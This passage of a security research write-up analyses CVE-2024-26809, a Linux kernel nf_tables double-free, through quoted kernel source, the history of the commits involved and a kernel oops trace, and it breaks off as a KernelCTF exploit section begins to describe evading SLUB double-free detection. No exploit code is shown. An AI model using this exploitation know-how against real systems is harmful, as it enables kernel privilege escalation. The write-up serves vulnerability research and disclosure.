method.",{"type":22,"tag":91,"props":57193,"children":57195},{"className":20513,"code":57194,"language":7187,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n nft_trans_list_del(trans);\n nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[57196],{"type":22,"tag":30,"props":57197,"children":57198},{"__ignoreMap":7},[57199,57238,57245,57252,57273,57280,57287,57294,57335,57342,57349,57370,57383,57395,57402,57409,57416,57457,57464,57492,57499,57512,57524,57565,57572,57579,57586,57644,57651,57658,57687,57694],{"type":22,"tag":101,"props":57200,"children":57201},{"class":103,"line":104},[57202,57206,57210,57214,57218,57222,57226,57230,57234],{"type":22,"tag":101,"props":57203,"children":57204},{"style":108},[57205],{"type":27,"value":55040},{"type":22,"tag":101,"props":57207,"children":57208},{"style":108},[57209],{"type":27,"value":55045},{"type":22,"tag":101,"props":57211,"children":57212},{"style":926},[57213],{"type":27,"value":56842},{"type":22,"tag":101,"props":57215,"children":57216},{"style":120},[57217],{"type":27,"value":980},{"type":22,"tag":101,"props":57219,"children":57220},{"style":108},[57221],{"type":27,"value":111},{"type":22,"tag":101,"props":57223,"children":57224},{"style":120},[57225],{"type":27,"value":55998},{"type":22,"tag":101,"props":57227,"children":57228},{"style":166},[57229],{"type":27,"value":8615},{"type":22,"tag":101,"props":57231,"children":57232},{"style":126},[57233],{"type":27,"value":56007},{"type":22,"tag":101,"props":57235,"children":57236},{"style":120},[57237],{"type":27,"value":2510},{"type":22,"tag":101,"props":57239,"children":57240},{"class":103,"line":157},[57241],{"type":22,"tag":101,"props":57242,"children":57243},{"style":120},[57244],{"type":27,"value":14886},{"type":22,"tag":101,"props":57246,"children":57247},{"class":103,"line":182},[57248],{"type":22,"tag":101,"props":57249,"children":57250},{"style":120},[57251],{"type":27,"value":14324},{"type":22,"tag":101,"props":57253,"children":57254},{"class":103,"line":367},[57255,57260,57264,57268],{"type":22,"tag":101,"props":57256,"children":57257},{"style":926},[57258],{"type":27,"value":57259}," schedule_work",{"type":22,"tag":101,"props":57261,"children":57262},{"style":120},[57263],{"type":27,"value":980},{"type":22,"tag":101,"props":57265,"children":57266},{"style":166},[57267],{"type":27,"value":985},{"type":22,"tag":101,"props":57269,"children":57270},{"style":120},[57271],{"type":27,"value":57272},"trans_destroy_work);\n",{"type":22,"tag":101,"props":57274,"children":57275},{"class":103,"line":398},[57276],{"type":22,"tag":101,"props":57277,"children":57278},{"style":120},[57279],{"type":27,"value":14324},{"type":22,"tag":101,"props":57281,"children":57282},{"class":103,"line":428},[57283],{"type":22,"tag":101,"props":57284,"children":57285},{"style":120},[57286],{"type":27,"value":188},{"type":22,"tag":101,"props":57288,"children":57289},{"class":103,"line":997},[57290],{"type":22,"tag":101,"props":57291,"children":57292},{"style":120},[57293],{"type":27,"value":14324},{"type":22,"tag":101,"props":57295,"children":57296},{"class":103,"line":1032},[57297,57301,57305,57310,57314,57318,57323,57327,57331],{"type":22,"tag":101,"props":57298,"children":57299},{"style":108},[57300],{"type":27,"value":55040},{"type":22,"tag":101,"props":57302,"children":57303},{"style":108},[57304],{"type":27,"value":55045},{"type":22,"tag":101,"props":57306,"children":57307},{"style":926},[57308],{"type":27,"value":57309}," nf_tables_trans_destroy_work",{"type":22,"tag":101,"props":57311,"children":57312},{"style":120},[57313],{"type":27,"value":980},{"type":22,"tag":101,"props":57315,"children":57316},{"style":108},[57317],{"type":27,"value":111},{"type":22,"tag":101,"props":57319,"children":57320},{"style":120},[57321],{"type":27,"value":57322}," work_struct ",{"type":22,"tag":101,"props":57324,"children":57325},{"style":166},[57326],{"type":27,"value":8615},{"type":22,"tag":101,"props":57328,"children":57329},{"style":126},[57330],{"type":27,"value":53568},{"type":22,"tag":101,"props":57332,"children":57333},{"style":120},[57334],{"type":27,"value":2510},{"type":22,"tag":101,"props":57336,"children":57337},{"class":103,"line":1063},[57338],{"type":22,"tag":101,"props":57339,"children":57340},{"style":120},[57341],{"type":27,"value":14886},{"type":22,"tag":101,"props":57343,"children":57344},{"class":103,"line":1071},[57345],{"type":22,"tag":101,"props":57346,"children":57347},{"style":120},[57348],{"type":27,"value":14324},{"type":22,"tag":101,"props":57350,"children":57351},{"class":103,"line":1110},[57352,57356,57361,57365],{"type":22,"tag":101,"props":57353,"children":57354},{"style":926},[57355],{"type":27,"value":56994},{"type":22,"tag":101,"props":57357,"children":57358},{"style":120},[57359],{"type":27,"value":57360},"(trans, next, ",{"type":22,"tag":101,"props":57362,"children":57363},{"style":166},[57364],{"type":27,"value":985},{"type":22,"tag":101,"props":57366,"children":57367},{"style":120},[57368],{"type":27,"value":57369},"head, list) {\n",{"type":22,"tag":101,"props":57371,"children":57372},{"class":103,"line":1118},[57373,57378],{"type":22,"tag":101,"props":57374,"children":57375},{"style":926},[57376],{"type":27,"value":57377}," nft_trans_list_del",{"type":22,"tag":101,"props":57379,"children":57380},{"style":120},[57381],{"type":27,"value":57382},"(trans);\n",{"type":22,"tag":101,"props":57384,"children":57385},{"class":103,"line":1158},[57386,57391],{"type":22,"tag":101,"props":57387,"children":57388},{"style":926},[57389],{"type":27,"value":57390}," nft_commit_release",{"type":22,"tag":101,"props":57392,"children":57393},{"style":120},[57394],{"type":27,"value":57382},{"type":22,"tag":101,"props":57396,"children":57397},{"class":103,"line":1166},[57398],{"type":22,"tag":101,"props":57399,"children":57400},{"style":120},[57401],{"type":27,"value":13601},{"type":22,"tag":101,"props":57403,"children":57404},{"class":103,"line":1215},[57405],{"type":22,"tag":101,"props":57406,"children":57407},{"style":120},[57408],{"type":27,"value":188},{"type":22,"tag":101,"props":57410,"children":57411},{"class":103,"line":2425},[57412],{"type":22,"tag":101,"props":57413,"children":57414},{"style":120},[57415],{"type":27,"value":14324},{"type":22,"tag":101,"props":57417,"children":57418},{"class":103,"line":5417},[57419,57423,57427,57432,57436,57440,57445,57449,57453],{"type":22,"tag":101,"props":57420,"children":57421},{"style":108},[57422],{"type":27,"value":55040},{"type":22,"tag":101,"props":57424,"children":57425},{"style":108},[57426],{"type":27,"value":55045},{"type":22,"tag":101,"props":57428,"children":57429},{"style":926},[57430],{"type":27,"value":57431}," nft_commit_release",{"type":22,"tag":101,"props":57433,"children":57434},{"style":120},[57435],{"type":27,"value":980},{"type":22,"tag":101,"props":57437,"children":57438},{"style":108},[57439],{"type":27,"value":111},{"type":22,"tag":101,"props":57441,"children":57442},{"style":120},[57443],{"type":27,"value":57444}," nft_trans ",{"type":22,"tag":101,"props":57446,"children":57447},{"style":166},[57448],{"type":27,"value":8615},{"type":22,"tag":101,"props":57450,"children":57451},{"style":126},[57452],{"type":27,"value":56557},{"type":22,"tag":101,"props":57454,"children":57455},{"style":120},[57456],{"type":27,"value":2510},{"type":22,"tag":101,"props":57458,"children":57459},{"class":103,"line":7714},[57460],{"type":22,"tag":101,"props":57461,"children":57462},{"style":120},[57463],{"type":27,"value":14886},{"type":22,"tag":101,"props":57465,"children":57466},{"class":103,"line":7723},[57467,57472,57476,57480,57484,57488],{"type":22,"tag":101,"props":57468,"children":57469},{"style":3595},[57470],{"type":27,"value":57471}," switch",{"type":22,"tag":101,"props":57473,"children":57474},{"style":120},[57475],{"type":27,"value":3603},{"type":22,"tag":101,"props":57477,"children":57478},{"style":126},[57479],{"type":27,"value":56557},{"type":22,"tag":101,"props":57481,"children":57482},{"style":120},[57483],{"type":27,"value":17759},{"type":22,"tag":101,"props":57485,"children":57486},{"style":126},[57487],{"type":27,"value":56595},{"type":22,"tag":101,"props":57489,"children":57490},{"style":120},[57491],{"type":27,"value":1463},{"type":22,"tag":101,"props":57493,"children":57494},{"class":103,"line":7791},[57495],{"type":22,"tag":101,"props":57496,"children":57497},{"style":120},[57498],{"type":27,"value":14324},{"type":22,"tag":101,"props":57500,"children":57501},{"class":103,"line":7799},[57502,57507],{"type":22,"tag":101,"props":57503,"children":57504},{"style":3595},[57505],{"type":27,"value":57506}," case",{"type":22,"tag":101,"props":57508,"children":57509},{"style":120},[57510],{"type":27,"value":57511}," NFT_MSG_DELSET:\n",{"type":22,"tag":101,"props":57513,"children":57514},{"class":103,"line":7829},[57515,57519],{"type":22,"tag":101,"props":57516,"children":57517},{"style":3595},[57518],{"type":27,"value":57506},{"type":22,"tag":101,"props":57520,"children":57521},{"style":120},[57522],{"type":27,"value":57523}," NFT_MSG_DESTROYSET:\n",{"type":22,"tag":101,"props":57525,"children":57526},{"class":103,"line":7837},[57527,57532,57536,57540,57544,57548,57552,57556,57560],{"type":22,"tag":101,"props":57528,"children":57529},{"style":926},[57530],{"type":27,"value":57531}," nft_set_destroy",{"type":22,"tag":101,"props":57533,"children":57534},{"style":120},[57535],{"type":27,"value":980},{"type":22,"tag":101,"props":57537,"children":57538},{"style":166},[57539],{"type":27,"value":985},{"type":22,"tag":101,"props":57541,"children":57542},{"style":120},[57543],{"type":27,"value":56557},{"type":22,"tag":101,"props":57545,"children":57546},{"style":166},[57547],{"type":27,"value":17759},{"type":22,"tag":101,"props":57549,"children":57550},{"style":126},[57551],{"type":27,"value":24271},{"type":22,"tag":101,"props":57553,"children":57554},{"style":120},[57555],{"type":27,"value":758},{"type":22,"tag":101,"props":57557,"children":57558},{"style":926},[57559],{"type":27,"value":56523},{"type":22,"tag":101,"props":57561,"children":57562},{"style":120},[57563],{"type":27,"value":57564},"(trans));\n",{"type":22,"tag":101,"props":57566,"children":57567},{"class":103,"line":7868},[57568],{"type":22,"tag":101,"props":57569,"children":57570},{"style":120},[57571],{"type":27,"value":14324},{"type":22,"tag":101,"props":57573,"children":57574},{"class":103,"line":7876},[57575],{"type":22,"tag":101,"props":57576,"children":57577},{"style":120},[57578],{"type":27,"value":188},{"type":22,"tag":101,"props":57580,"children":57581},{"class":103,"line":7936},[57582],{"type":22,"tag":101,"props":57583,"children":57584},{"style":120},[57585],{"type":27,"value":14324},{"type":22,"tag":101,"props":57587,"children":57588},{"class":103,"line":13054},[57589,57593,57597,57602,57606,57610,57614,57618,57622,57627,57631,57635,57639],{"type":22,"tag":101,"props":57590,"children":57591},{"style":108},[57592],{"type":27,"value":55040},{"type":22,"tag":101,"props":57594,"children":57595},{"style":108},[57596],{"type":27,"value":55045},{"type":22,"tag":101,"props":57598,"children":57599},{"style":926},[57600],{"type":27,"value":57601}," nft_set_destroy",{"type":22,"tag":101,"props":57603,"children":57604},{"style":120},[57605],{"type":27,"value":980},{"type":22,"tag":101,"props":57607,"children":57608},{"style":108},[57609],{"type":27,"value":13660},{"type":22,"tag":101,"props":57611,"children":57612},{"style":108},[57613],{"type":27,"value":25138},{"type":22,"tag":101,"props":57615,"children":57616},{"style":120},[57617],{"type":27,"value":55067},{"type":22,"tag":101,"props":57619,"children":57620},{"style":166},[57621],{"type":27,"value":8615},{"type":22,"tag":101,"props":57623,"children":57624},{"style":120},[57625],{"type":27,"value":57626},"ctx, ",{"type":22,"tag":101,"props":57628,"children":57629},{"style":108},[57630],{"type":27,"value":111},{"type":22,"tag":101,"props":57632,"children":57633},{"style":120},[57634],{"type":27,"value":55095},{"type":22,"tag":101,"props":57636,"children":57637},{"style":166},[57638],{"type":27,"value":8615},{"type":22,"tag":101,"props":57640,"children":57641},{"style":120},[57642],{"type":27,"value":57643},"set)\n",{"type":22,"tag":101,"props":57645,"children":57646},{"class":103,"line":13072},[57647],{"type":22,"tag":101,"props":57648,"children":57649},{"style":120},[57650],{"type":27,"value":14886},{"type":22,"tag":101,"props":57652,"children":57653},{"class":103,"line":13117},[57654],{"type":22,"tag":101,"props":57655,"children":57656},{"style":120},[57657],{"type":27,"value":14324},{"type":22,"tag":101,"props":57659,"children":57660},{"class":103,"line":13223},[57661,57665,57669,57673,57677,57682],{"type":22,"tag":101,"props":57662,"children":57663},{"style":126},[57664],{"type":27,"value":57082},{"type":22,"tag":101,"props":57666,"children":57667},{"style":120},[57668],{"type":27,"value":17759},{"type":22,"tag":101,"props":57670,"children":57671},{"style":126},[57672],{"type":27,"value":56666},{"type":22,"tag":101,"props":57674,"children":57675},{"style":120},[57676],{"type":27,"value":17759},{"type":22,"tag":101,"props":57678,"children":57679},{"style":926},[57680],{"type":27,"value":57681},"destroy",{"type":22,"tag":101,"props":57683,"children":57684},{"style":120},[57685],{"type":27,"value":57686},"(ctx, set);\n",{"type":22,"tag":101,"props":57688,"children":57689},{"class":103,"line":27496},[57690],{"type":22,"tag":101,"props":57691,"children":57692},{"style":120},[57693],{"type":27,"value":14324},{"type":22,"tag":101,"props":57695,"children":57696},{"class":103,"line":27531},[57697],{"type":22,"tag":101,"props":57698,"children":57699},{"style":120},[57700],{"type":27,"value":188},{"type":22,"tag":23,"props":57702,"children":57703},{},[57704,57706,57711,57713,57718,57720,57726,57728,57733,57735,57740,57742,57746,57748,57753,57754,57758,57760,57766],{"type":27,"value":57705},"It may appear as if it would be impossible to make ",{"type":22,"tag":30,"props":57707,"children":57709},{"className":57708},[],[57710],{"type":27,"value":54969},{"type":27,"value":57712}," true in the release step because the ",{"type":22,"tag":30,"props":57714,"children":57716},{"className":57715},[],[57717],{"type":27,"value":56341},{"type":27,"value":57719}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":22,"tag":30,"props":57721,"children":57723},{"className":57722},[],[57724],{"type":27,"value":57725},"set->dead",{"type":27,"value":57727}," flag. If a ",{"type":22,"tag":30,"props":57729,"children":57731},{"className":57730},[],[57732],{"type":27,"value":55015},{"type":27,"value":57734}," was marked for deletion, it receives the ",{"type":22,"tag":30,"props":57736,"children":57738},{"className":57737},[],[57739],{"type":27,"value":57725},{"type":27,"value":57741}," flag ",{"type":22,"tag":101,"props":57743,"children":57744},{},[57745],{"type":27,"value":7164},{"type":27,"value":57747},". If this flag is set, then the commit path will skip any commitments to this ",{"type":22,"tag":30,"props":57749,"children":57751},{"className":57750},[],[57752],{"type":27,"value":55015},{"type":27,"value":2169},{"type":22,"tag":101,"props":57755,"children":57756},{},[57757],{"type":27,"value":21526},{"type":27,"value":57759},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":22,"tag":30,"props":57761,"children":57763},{"className":57762},[],[57764],{"type":27,"value":57765},"priv ->dirty",{"type":27,"value":57767}," flag is not cleared when it should have been.",{"type":22,"tag":53,"props":57769,"children":57771},{"id":57770},"tracing-the-guilty-commit",[57772],{"type":27,"value":57773},"Tracing the guilty commit",{"type":22,"tag":23,"props":57775,"children":57776},{},[57777,57779,57786,57788,57794,57796,57801,57803,57809],{"type":27,"value":57778},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":22,"tag":80,"props":57780,"children":57783},{"href":57781,"rel":57782},"https://ubuntu.com/security/CVE-2024-26809",[84],[57784],{"type":27,"value":57785},"advisories",{"type":27,"value":57787}," about this vulnerability will say it was introduced by this ",{"type":22,"tag":80,"props":57789,"children":57792},{"href":57790,"rel":57791},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[84],[57793],{"type":27,"value":56675},{"type":27,"value":57795},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":22,"tag":30,"props":57797,"children":57799},{"className":57798},[],[57800],{"type":27,"value":57725},{"type":27,"value":57802}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":22,"tag":80,"props":57804,"children":57807},{"href":57805,"rel":57806},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[84],[57808],{"type":27,"value":56675},{"type":27,"value":231},{"type":22,"tag":23,"props":57811,"children":57812},{},[57813],{"type":27,"value":57814},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":22,"tag":91,"props":57816,"children":57820},{"className":57817,"code":57818,"language":57819,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919] \u003CTASK>\n[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952] ? __nla_validate_parse+0x48/0x190\n[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963] netlink_unicast+0x211/0x340\n[16302.231969] netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[57821],{"type":22,"tag":30,"props":57822,"children":57823},{"__ignoreMap":7},[57824,57832,57840,57847,57855,57863,57870,57878,57885,57893,57901,57908,57916,57924,57932,57940,57948,57956,57964,57972,57980,57987,57995,58003,58010,58018,58026,58034,58042,58050,58057,58065,58073],{"type":22,"tag":101,"props":57825,"children":57826},{"class":103,"line":104},[57827],{"type":22,"tag":101,"props":57828,"children":57829},{},[57830],{"type":27,"value":57831},"New elements that reside in the clone are not released in case that the\n",{"type":22,"tag":101,"props":57833,"children":57834},{"class":103,"line":157},[57835],{"type":22,"tag":101,"props":57836,"children":57837},{},[57838],{"type":27,"value":57839},"transaction is aborted.\n",{"type":22,"tag":101,"props":57841,"children":57842},{"class":103,"line":182},[57843],{"type":22,"tag":101,"props":57844,"children":57845},{"emptyLinePlaceholder":15},[57846],{"type":27,"value":1581},{"type":22,"tag":101,"props":57848,"children":57849},{"class":103,"line":367},[57850],{"type":22,"tag":101,"props":57851,"children":57852},{},[57853],{"type":27,"value":57854},"[16302.231754] ------------[ cut here ]------------\n",{"type":22,"tag":101,"props":57856,"children":57857},{"class":103,"line":398},[57858],{"type":22,"tag":101,"props":57859,"children":57860},{},[57861],{"type":27,"value":57862},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":22,"tag":101,"props":57864,"children":57865},{"class":103,"line":428},[57866],{"type":22,"tag":101,"props":57867,"children":57868},{},[57869],{"type":27,"value":14324},{"type":22,"tag":101,"props":57871,"children":57872},{"class":103,"line":997},[57873],{"type":22,"tag":101,"props":57874,"children":57875},{},[57876],{"type":27,"value":57877},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n",{"type":22,"tag":101,"props":57879,"children":57880},{"class":103,"line":1032},[57881],{"type":22,"tag":101,"props":57882,"children":57883},{},[57884],{"type":27,"value":14324},{"type":22,"tag":101,"props":57886,"children":57887},{"class":103,"line":1063},[57888],{"type":22,"tag":101,"props":57889,"children":57890},{},[57891],{"type":27,"value":57892},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":22,"tag":101,"props":57894,"children":57895},{"class":103,"line":1071},[57896],{"type":22,"tag":101,"props":57897,"children":57898},{},[57899],{"type":27,"value":57900},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":22,"tag":101,"props":57902,"children":57903},{"class":103,"line":1110},[57904],{"type":22,"tag":101,"props":57905,"children":57906},{},[57907],{"type":27,"value":14324},{"type":22,"tag":101,"props":57909,"children":57910},{"class":103,"line":1118},[57911],{"type":22,"tag":101,"props":57912,"children":57913},{},[57914],{"type":27,"value":57915},"[16302.231917] Call Trace:\n",{"type":22,"tag":101,"props":57917,"children":57918},{"class":103,"line":1158},[57919],{"type":22,"tag":101,"props":57920,"children":57921},{},[57922],{"type":27,"value":57923},"[16302.231919] \u003CTASK>\n",{"type":22,"tag":101,"props":57925,"children":57926},{"class":103,"line":1166},[57927],{"type":22,"tag":101,"props":57928,"children":57929},{},[57930],{"type":27,"value":57931},"[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":22,"tag":101,"props":57933,"children":57934},{"class":103,"line":1215},[57935],{"type":22,"tag":101,"props":57936,"children":57937},{},[57938],{"type":27,"value":57939},"[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":22,"tag":101,"props":57941,"children":57942},{"class":103,"line":2425},[57943],{"type":22,"tag":101,"props":57944,"children":57945},{},[57946],{"type":27,"value":57947},"[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":22,"tag":101,"props":57949,"children":57950},{"class":103,"line":5417},[57951],{"type":22,"tag":101,"props":57952,"children":57953},{},[57954],{"type":27,"value":57955},"[16302.231952] ? __nla_validate_parse+0x48/0x190\n",{"type":22,"tag":101,"props":57957,"children":57958},{"class":103,"line":7714},[57959],{"type":22,"tag":101,"props":57960,"children":57961},{},[57962],{"type":27,"value":57963},"[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":22,"tag":101,"props":57965,"children":57966},{"class":103,"line":7723},[57967],{"type":22,"tag":101,"props":57968,"children":57969},{},[57970],{"type":27,"value":57971},"[16302.231963] netlink_unicast+0x211/0x340\n",{"type":22,"tag":101,"props":57973,"children":57974},{"class":103,"line":7791},[57975],{"type":22,"tag":101,"props":57976,"children":57977},{},[57978],{"type":27,"value":57979},"[16302.231969] netlink_sendmsg+0x21e/0x460\n",{"type":22,"tag":101,"props":57981,"children":57982},{"class":103,"line":7799},[57983],{"type":22,"tag":101,"props":57984,"children":57985},{"emptyLinePlaceholder":15},[57986],{"type":27,"value":1581},{"type":22,"tag":101,"props":57988,"children":57989},{"class":103,"line":7829},[57990],{"type":22,"tag":101,"props":57991,"children":57992},{},[57993],{"type":27,"value":57994},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":22,"tag":101,"props":57996,"children":57997},{"class":103,"line":7837},[57998],{"type":22,"tag":101,"props":57999,"children":58000},{},[58001],{"type":27,"value":58002},"elements in the lookup tables.\n",{"type":22,"tag":101,"props":58004,"children":58005},{"class":103,"line":7868},[58006],{"type":22,"tag":101,"props":58007,"children":58008},{"emptyLinePlaceholder":15},[58009],{"type":27,"value":1581},{"type":22,"tag":101,"props":58011,"children":58012},{"class":103,"line":7876},[58013],{"type":22,"tag":101,"props":58014,"children":58015},{},[58016],{"type":27,"value":58017},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":22,"tag":101,"props":58019,"children":58020},{"class":103,"line":7936},[58021],{"type":22,"tag":101,"props":58022,"children":58023},{},[58024],{"type":27,"value":58025},"cloned matching data if priv->dirty is set, because that means that\n",{"type":22,"tag":101,"props":58027,"children":58028},{"class":103,"line":13054},[58029],{"type":22,"tag":101,"props":58030,"children":58031},{},[58032],{"type":27,"value":58033},"cloned data might point to additional elements we did not commit to the\n",{"type":22,"tag":101,"props":58035,"children":58036},{"class":103,"line":13072},[58037],{"type":22,"tag":101,"props":58038,"children":58039},{},[58040],{"type":27,"value":58041},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":22,"tag":101,"props":58043,"children":58044},{"class":103,"line":13117},[58045],{"type":22,"tag":101,"props":58046,"children":58047},{},[58048],{"type":27,"value":58049},"to it).\"\n",{"type":22,"tag":101,"props":58051,"children":58052},{"class":103,"line":13223},[58053],{"type":22,"tag":101,"props":58054,"children":58055},{"emptyLinePlaceholder":15},[58056],{"type":27,"value":1581},{"type":22,"tag":101,"props":58058,"children":58059},{"class":103,"line":27496},[58060],{"type":22,"tag":101,"props":58061,"children":58062},{},[58063],{"type":27,"value":58064},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":22,"tag":101,"props":58066,"children":58067},{"class":103,"line":27531},[58068],{"type":22,"tag":101,"props":58069,"children":58070},{},[58071],{"type":27,"value":58072},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":22,"tag":101,"props":58074,"children":58075},{"class":103,"line":27539},[58076],{"type":22,"tag":101,"props":58077,"children":58078},{},[58079],{"type":27,"value":58080},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":22,"tag":23,"props":58082,"children":58083},{},[58084,58086,58091,58093,58098,58100,58105,58107,58112],{"type":27,"value":58085},"As we previously discussed, committing changes to a pipapo ",{"type":22,"tag":30,"props":58087,"children":58089},{"className":58088},[],[58090],{"type":27,"value":55015},{"type":27,"value":58092}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":22,"tag":30,"props":58094,"children":58096},{"className":58095},[],[58097],{"type":27,"value":56341},{"type":27,"value":58099}," method by simply replacing the ",{"type":22,"tag":30,"props":58101,"children":58103},{"className":58102},[],[58104],{"type":27,"value":55015},{"type":27,"value":58106},"s match object with its updated clone. So checking the ",{"type":22,"tag":30,"props":58108,"children":58110},{"className":58109},[],[58111],{"type":27,"value":54969},{"type":27,"value":58113}," flag and then calling free again ensures we also free uncommitted changes.",{"type":22,"tag":23,"props":58115,"children":58116},{},[58117,58119,58124],{"type":27,"value":58118},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":22,"tag":30,"props":58120,"children":58122},{"className":58121},[],[58123],{"type":27,"value":55015},{"type":27,"value":58125},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":22,"tag":23,"props":58127,"children":58128},{},[58129,58131,58137,58139,58144,58146,58151],{"type":27,"value":58130},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":22,"tag":30,"props":58132,"children":58134},{"className":58133},[],[58135],{"type":27,"value":58136},"set->ops->destroy()",{"type":27,"value":58138}," could be called without clearing the ",{"type":22,"tag":30,"props":58140,"children":58142},{"className":58141},[],[58143],{"type":27,"value":54969},{"type":27,"value":58145}," flag, which was fine considering you didn't have duplicated views of the ",{"type":22,"tag":30,"props":58147,"children":58149},{"className":58148},[],[58150],{"type":27,"value":55007},{"type":27,"value":58152},"s, so they would all be in the clone set.",{"type":22,"tag":23,"props":58154,"children":58155},{},[58156,58158,58163],{"type":27,"value":58157},"But when the ",{"type":22,"tag":30,"props":58159,"children":58161},{"className":58160},[],[58162],{"type":27,"value":57725},{"type":27,"value":58164}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":22,"tag":23,"props":58166,"children":58167},{},[58168],{"type":27,"value":58169},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":22,"tag":53,"props":58171,"children":58173},{"id":58172},"kernelctf-exploit",[58174],{"type":27,"value":58175},"KernelCTF exploit",{"type":22,"tag":23,"props":58177,"children":58178},{},[58179,58181,58187,58189,58196],{"type":27,"value":58180},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":22,"tag":30,"props":58182,"children":58184},{"className":58183},[],[58185],{"type":27,"value":58186},"nft_object + udata",{"type":27,"value":58188}," technique shared by lonial con in a ",{"type":22,"tag":80,"props":58190,"children":58193},{"href":58191,"rel":58192},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[84],[58194],{"type":27,"value":58195},"previous kernelCTF exploit",{"type":27,"value":231},{"type":22,"tag":1760,"props":58198,"children":58200},{"id":58199},"trigger-uafavoid-double-free-detection",[58201],{"type":27,"value":58202},"Trigger UAF/avoid double-free detection",{"type":22,"tag":23,"props":58204,"children":58205},{},[58206,58208,58214,58216,58222],{"type":27,"value":58207},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, 